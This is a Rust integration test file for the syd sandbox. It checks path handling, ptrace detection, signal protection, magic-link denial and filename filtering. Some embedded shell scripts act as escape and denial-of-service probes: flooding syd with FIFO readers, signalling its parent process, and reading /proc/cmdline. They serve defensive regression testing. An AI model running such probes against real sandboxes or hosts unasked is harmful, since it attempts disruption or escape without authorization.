        .m("allow/read,stat,write+/***")
        .do_("block_prctl_ptrace", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_prevent_ptrace_detect() -> TestResult {
    let status = syd()
        .p("off")
        .do_("detect_ptrace", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_block_dev_random() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/read+/dev/random")
        .do_("block_dev_random", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_block_dev_urandom() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/read+/dev/urandom")
        .do_("block_dev_urandom", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_kill_during_syscall() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("kill_during_syscall", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_open_toolong_path() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("open_toolong_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_open_null_path() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("open_null_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_utimensat_null() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("utimensat_null", NONE)
        .status()
        .expect("execute syd");

    // Fails on GitLab CI.
    if !*GL_BUILD {
        assert_status_ok!(status);
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_normalize_path() -> TestResult {
    skip_unless_available!("sh");

    const NORMALIZE_PATH_TESTS: &[&str] = &[
        "null",
        "./null",
        ".////null",
        ".///.////.///./null",
        "./././././././null",
        "./././.././././dev/null",
        "../dev/././../dev/././null",
    ];

    for path in NORMALIZE_PATH_TESTS {
        let status = syd()
            .p("off")
            .m("sandbox/write:on")
            .m("deny/write+/***")
            .m("allow/write+/dev/null")
            .argv(["sh", "-cx", &format!("cd /dev; :> {path}")])
            .status()
            .expect("execute syd");
        assert_eq!(
            status.code().unwrap_or(127),
            0,
            "path:{path}, status:{status:?}"
        );
    }

    Ok(())
}

fn test_syd_path_resolution() -> TestResult {
    let cwd = syd::fs::canonicalize(
        Pid::this(),
        Path::new("/proc/self/cwd"),
        None,
        syd::fs::MissingHandling::Normal,
        true,
        false,
        false,
    )?
    .to_string_lossy()
    .to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .m(format!("allow/write+{cwd}/***"))
        .do_("path_resolution", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_symlink_readonly_path() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/write+/")
        .argv([
            "sh",
            "-c",
            "ln -s / test_syd_symlink_readonly_path && unlink test_syd_symlink_readonly_path",
        ])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_remove_empty_path() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
            .p("off")
            .m("sandbox/read,stat,write:on")
            .m("allow/read,stat,write+/***")
        .argv([
            "sh",
            "-c",
            "env LC_ALL=C LANG=C LANGUAGE=C rm '' 2>&1 | tee /dev/stderr | grep -qi 'No such file or directory'"
        ])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("open_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_openat_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("openat_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_lstat_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("lstat_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstatat_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("fstatat_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdir_symlinks() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("mkdir_symlinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdir_trailing_dot() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("mkdir_trailing_dot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdirat_trailing_dot() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("mkdirat_trailing_dot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_rmdir_trailing_slashdot() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("rmdir_trailing_slashdot", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdir_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/read,stat,write+/boot/***")
        .do_("mkdir_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdirat_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/read,stat,write+/boot/***")
        .do_("mkdirat_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mknod_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/read,stat,write+/boot/***")
        .do_("mknod_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mknodat_eexist_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/read,stat,write+/boot/***")
        .do_("mknodat_eexist_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fopen_supports_mode_x() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("fopen_supports_mode_x", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fopen_supports_mode_e() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("fopen_supports_mode_e", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_link_no_symlink_deref() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("link_no_symlink_deref", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_link_posix() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("link_posix", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_linkat_posix() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("linkat_posix", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_cp_overwrite() -> TestResult {
    skip_unless_available!("sh");

    // On a buggy Syd, the second cp fails with:
    // cp: cannot stat 'null/null': Not a directory
    let status = syd()
        .p("off")
        .m("sandbox/read,write,stat:on")
        .m("allow/read,write,stat+/***")
        .argv(["sh", "-cex"])
        .arg(
            r#"
cp /dev/null null
cp /dev/null null
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_getcwd_long() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("getcwd_long", NONE)
        .status()
        .expect("execute syd");

    // FIXME: Fails on musl, possibly not something to fix.
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_creat_thru_dangling() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("creat_thru_dangling", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdirat_non_dir_fd() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("mkdirat_non_dir_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_blocking_udp4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("trace/allow_safe_bind:0")
        .m("allow/read,stat,write+/***")
        .m("allow/net/bind+loopback!65432")
        .m("allow/net/connect+loopback!65432")
        .do_("blocking_udp4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_blocking_udp6() -> TestResult {
    // Gitlab CI uses docker which has no IPv6.
    if *GL_BUILD {
        eprintln!("IPv6 not available on CI!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("trace/allow_safe_bind:0")
        .m("allow/read,stat,write+/***")
        .m("allow/net/bind+loopback6!65432")
        .m("allow/net/connect+loopback6!65432")
        .do_("blocking_udp6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_close_on_exec() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .do_("close_on_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_open_exclusive_restart() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .do_("open_exclusive_restart", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_open_exclusive_repeat() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .do_("open_exclusive_repeat", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_setsid_detach_tty() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,ioctl:on")
        .m("allow/read,stat,write,ioctl+/***")
        .do_("setsid_detach_tty", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_pty_io_rust() -> TestResult {
    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .do_("pty_io_rust", NONE)
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_pty_io_gawk() -> TestResult {
    skip_unless_available!("gawk");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .do_("pty_io_gawk", NONE)
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_diff_dev_fd() -> TestResult {
    skip_unless_exists!("/dev/fd");
    skip_unless_available!("diff");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "30s");
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("diff_dev_fd", NONE)
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fifo_multiple_readers() -> TestResult {
    skip_unless_available!("bash");

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .argv(["bash", "-c"])
        .arg(format!(
            r#"
# Attempt to DOS syd by spawning multiple FIFO readers in the background.
set -ex
nreaders=$(expr $({syd_cpu}) '*' 10)
fifo=$(env TMPDIR=. mktemp -u)
mkfifo "$fifo"
for i in $(eval echo {{1..${{nreaders}}}}); do
    cat "$fifo" &
done
# Give the cats a little time to settle and potentially block Syd.
sleep 30
# Execute a system call that Syd must intervene, this must not block.
touch "$fifo".done
rm -f "$fifo".done
# All good, unblock the cats and wait.
:>"$fifo"
wait
rm -f "$fifo" || true
"#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_bind_unix_socket() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .m("allow/net/bind+/***")
        .do_("bind_unix_socket", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_signal_protection_simple() -> TestResult {
    skip_unless_available!("bash", "kill");

    let status = syd()
        .p("off")
        .argv(["bash", "-cx"])
        .arg(
            r#"
pid=$PPID
r=0

# Sending signal 0 must work.
kill -0 ${pid} || r=1
sleep 1

# Sending other signals are not permitted.
for sig in INT ABRT STOP KILL; do
    kill -${sig} ${pid} && r=3
    sleep 1
done

exit $r
"#,
        )
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_signal_protection_killpg_0() -> TestResult {
    // killpg(exec process) does not propagate to Syd.
    let status = syd()
        .p("off")
        .do_("kill", ["0", "9"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_self() -> TestResult {
    // killpg syd's process group with signal 0 is OK.
    let status = syd()
        .p("off")
        .do_("killpg_self", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // killpg syd's process group with signal!=0 is denied.
    let status = syd()
        .p("off")
        .do_("killpg_self", ["9"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_signal_protection_killpg_syd() -> TestResult {
    skip_unless_available!("bash");

    // kill(-sydpid) does not propagate to syd.
    let status = syd()
        .p("off")
        .do__("kill")
        .argv(["bash", "-cx", &format!("{} -${{PPID}} 9", *SYD_DO)])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_0() -> TestResult {
    // mass signaling is not permitted unless sig=0.
    let status = syd()
        .p("off")
        .do_("kill", ["-1", "0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_signal_protection_mass_int() -> TestResult {
    skip_unless_unshare!();

    // mass signaling is not permitted unless sig=0.
    let status = syd()
        .p("off")
        .p("container")
        .do_("kill", ["-1", "2"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_emulate_open_fifo() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .do_("emulate_open_fifo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_deny_magiclinks() -> TestResult {
    skip_unless_unshare!();

    // Check protections with stat sandboxing on.
    eprintln!("\x1b[36m<<< paludis >>>\x1b[0m");
    let status = syd()
        .p("paludis")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("deny_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off.
    eprintln!("\x1b[36m<<< lib >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("deny_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off and lock on.
    eprintln!("\x1b[36m<<< lib with lock on >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("lock:on")
        .do_("deny_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_magiclinks() -> TestResult {
    skip_unless_unshare!();

    // Check protections with read+stat sandboxing off.
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with read+stat sandboxing off and lock:exec.
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("lock:on")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with read+stat sandboxing on.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with read+stat sandboxing on and lock:exec.
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("open_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_lstat_magiclinks() -> TestResult {
    skip_unless_unshare!();

    // Check protections with stat sandboxing on.
    eprintln!("\x1b[36m<<< paludis >>>\x1b[0m");
    let status = syd()
        .p("paludis")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("lstat_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off.
    eprintln!("\x1b[36m<<< lib >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .do_("lstat_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with stat sandboxing off and lock on.
    eprintln!("\x1b[36m<<< lib with lock on >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("lock:on")
        .do_("lstat_magiclinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_access_unsafe_paths() -> TestResult {
    // Check protections with read, stat, write sandboxing on.
    // As of version 3.19.0 we pass allow_unsafe_debug:1 in
    // the paludis profile which allows access to unsafe paths,
    // hence we explicitly disable it here...
    eprintln!("\x1b[36m<<< paludis >>>\x1b[0m");
    let status = syd()
        .p("paludis")
        .m("trace/allow_unsafe_debug:0")
        .do_("access_unsafe_paths", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with sandboxing off.
    eprintln!("\x1b[36m<<< lib >>>\x1b[0m");
    let status = syd()
        .p("off")
        .do_("access_unsafe_paths", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Check protections with sandboxing off and lock on.
    eprintln!("\x1b[36m<<< lib with lock on >>>\x1b[0m");
    let status = syd()
        .p("off")
        .m("lock:on")
        .do_("access_unsafe_paths", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_access_proc_cmdline() -> TestResult {
    skip_unless_available!("cat", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(
            r#"
cmdline=$(cat /proc/cmdline)
if test -n "$cmdline"; then
    echo >&2 "/proc/cmdline leaked with sandboxing off."
    false
else
    echo >&2 "/proc/cmdline is empty as expected."
    true
fi
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .argv(["sh", "-cx"])
        .arg(
            r#"
cmdline=$(cat /proc/cmdline)
if test -n "$cmdline"; then
    echo >&2 "/proc/cmdline leaked with sandboxing off."
    false
else
    echo >&2 "/proc/cmdline is empty as expected."
    true
fi
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mkdir_with_control_chars_default() -> TestResult {
    skip_unless_available!("bash");

    // Create pipe for communication and check if syd raises an access violation.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir mccd || exit 127
mkdir $'./mccd/test_alert_dir\a' && r=1
test -e $'./mccd/test_alert_dir\a' && r=2
mkdir $'./mccd/test_vertical_tab_dir\v' && r=3
test -e $'./mccd/test_vertical_tab_dir\v' && r=4
mkdir $'./mccd/test_form_feed_dir\f' && r=5
test -e $'./mccd/test_form_feed_dir\f' && r=6
mkdir $'./mccd/test_multi_control_dir\x01\x02\x03' && r=7
test -e $'./mccd/test_multi_control_dir\x01\x02\x03' && r=8
mkdir $'./mccd/test_\x1F_unit_sep_dir' && r=9
test -e $'./mccd/test_\x1F_unit_sep_dir' && r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_ok!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) if buffer.contains("\"access\"") => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Ok(_) => {
            eprint!("Unexpected data, expected access violation:\n{buffer}");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_mkdir_with_control_chars_unsafe() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_filename:1")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir mccu || exit 127
mkdir $'./mccu/test_alert_dir\a' || r=1
test -e $'./mccu/test_alert_dir\a' || r=2
mkdir $'./mccu/test_vertical_tab_dir\v' || r=3
test -e $'./mccu/test_vertical_tab_dir\v' || r=4
mkdir $'./mccu/test_form_feed_dir\f' || r=5
test -e $'./mccu/test_form_feed_dir\f' || r=6
mkdir $'./mccu/test_multi_control_dir\x01\x02\x03' || r=7
test -e $'./mccu/test_multi_control_dir\x01\x02\x03' || r=8
mkdir $'./mccu/test_\x1F_unit_sep_dir' || r=9
test -e $'./mccu/test_\x1F_unit_sep_dir' || r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_touch_with_control_chars_default() -> TestResult {
    skip_unless_available!("bash");

    // Create pipe for communication and check if syd raises an access violation.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir tccd || exit 127
touch $'./tccd/test_alert_file\a' && r=1
test -e $'./tccd/test_alert_file\a' && r=2
touch $'./tccd/test_vertical_tab_file\v' && r=3
test -e $'./tccd/test_vertical_tab_file\v' && r=4
touch $'./tccd/test_form_feed_file\f' && r=5
test -e $'./tccd/test_form_feed_file\f' && r=6
touch $'./tccd/test_multi_control_file\x01\x02\x03' && r=7
test -e $'./tccd/test_multi_control_file\x01\x02\x03' && r=8
touch $'./tccd/test_\x1F_unit_sep_file' && r=9
test -e $'./tccd/test_\x1F_unit_sep_file' && r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_ok!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) if buffer.contains("\"access\"") => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Ok(_) => {
            eprint!("Unexpected data, expected access violation:\n{buffer}");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_touch_with_control_chars_unsafe() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_filename:true")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
r=0
mkdir tccu || exit 127
touch $'./tccu/test_alert_file\a' || r=1
test -e $'./tccu/test_alert_file\a' || r=2
touch $'./tccu/test_vertical_tab_file\v' || r=3
test -e $'./tccu/test_vertical_tab_file\v' || r=4
touch $'./tccu/test_form_feed_file\f' || r=5
test -e $'./tccu/test_form_feed_file\f' || r=6
touch $'./tccu/test_multi_control_file\x01\x02\x03' || r=7
test -e $'./tccu/test_multi_control_file\x01\x02\x03' || r=8
touch $'./tccu/test_\x1F_unit_sep_file' || r=9
test -e $'./tccu/test_\x1F_unit_sep_file' || r=10
exit $r
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_unshare_user_bypass_limit() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .do_("unshare_user_bypass_limit", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_fanotify_mark_cwd_allow() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", ["0", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_cwd_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", ["0", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_dir_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
